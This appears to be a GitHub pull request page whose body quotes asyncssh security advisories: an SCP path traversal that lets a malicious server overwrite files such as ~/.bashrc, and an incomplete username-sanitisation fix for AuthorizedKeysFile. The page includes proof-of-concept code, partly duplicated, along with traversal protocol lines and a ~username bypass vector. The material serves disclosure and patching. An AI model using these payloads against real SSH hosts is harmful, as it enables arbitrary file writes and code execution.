      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '$':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b}   (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",
            "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
            if ok else "one or more checks did not hold")
      return 0 if ok else 1

  if __name__ == "__main__":
      sys.exit(main())

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


asyncssh has SCP Path Traversal to Arbitrary File Write

CVE-2026-54591 / GHSA-2wxc-x7rj-hg8f / PYSEC-2026-3808

More information

Details

Product asyncssh (all versions through 2.23.0)
Related CVE-2019-6111 (same class in OpenSSH)
Fix AsyncSSH 2.23.1

A malicious SSH server can write arbitrary files on the asyncssh SCP client's filesystem by sending filenames containing ../ traversal sequences. The SCP receive path does not currently sanitize server-provided filenames. By chaining directory traversals via the D (directory) action, an attacker can escape any target directory and overwrite ~/.bashrc, ~/.ssh/rc, or ~/.ssh/authorized_keys, achieving code execution. This is the same vulnerability class as CVE-2019-6111. The mitigation applied in OpenSSH does not appear to have been adopted in asyncssh.


Steps to exploit:

Step 1 - Normal usage: Application calls await asyncssh.scp((conn, 'file'), '/home/user/downloads/'). This is the standard, documented API.

Step 2 - SCP protocol: asyncssh opens an SSH exec channel, runs scp -f file. The server controls the filename field:

C0644 100 ../pwned.txt\n       (simple traversal)

D0755 0 ..\n                   (traverse up, repeat as needed)
C0644 47 .bashrc\n             (write payload)
E\n

Step 3 - _parse_cd_args (scp.py:134-142) returns the filename verbatim:

def _parse_cd_args(args: bytes) -> Tuple[int, int, bytes]:
    permissions, size, name = args.split(None, 2)
    return int(permissions, 8), int(size), name  # no sanitization

The returned name is not passed through basename() and is not checked for .. or / components.

Step 4 - _recv_files (scp.py:706-713) joins the unsanitized name:

new_dstpath = posixpath.join(dstpath, name)

With dstpath=b'/home/user/downloads/subdir' and name=b'../pwned.txt', this resolves to /home/user/downloads/pwned.txt, outside the target.

Step 5 - File write: _recv_file opens the traversed path via self._fs.open(dstpath, 'wb') and writes attacker-controlled content. The resolved path is not checked against the target directory boundary.

Step 6 - RCE chains:

Target Execution trigger Reliability
~/.bashrc Next terminal open High
~/.profile Next login High
~/.ssh/rc Next SSH connection (requires sshd) High
~/.ssh/authorized_keys Attacker logs in with command= Medium

Reproduction:

Link to reproduction script: path_traversal_poc.zip

docker build -t asyncssh-scp-traversal -f Dockerfile .
docker run --rm asyncssh-scp-traversal

The attached poc_scp_traversal.py starts a malicious SSH server in-process using asyncssh's own API, then downloads from it via asyncssh.scp().

Expected Output:

image

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution

CVE-2026-54590 / GHSA-qr67-gv47-xwwh / PYSEC-2026-3809

More information

Details

Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.

Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).

Summary

The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:

  if self._user == '..' or '/' in self._user or '\\' in self._user:
      raise IllegalUserName('Unsafe username substitution')

However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.

The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.

Primary vector — leading ~

A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.

Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)

Impact and limitations

  • Demonstrated (verified against source at a60f863): the guard is
    bypassable and the authorized-keys lookup is redirected to an
    attacker-named home tree, pre-auth, with a separator-free username.
  • Impact model = identical to CVE-2026-453

[!IMPORTANT]
✂ PR body was truncated to here.

Signed-off-by: konflux-internal-p02 <170854209+konflux-internal-p02[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants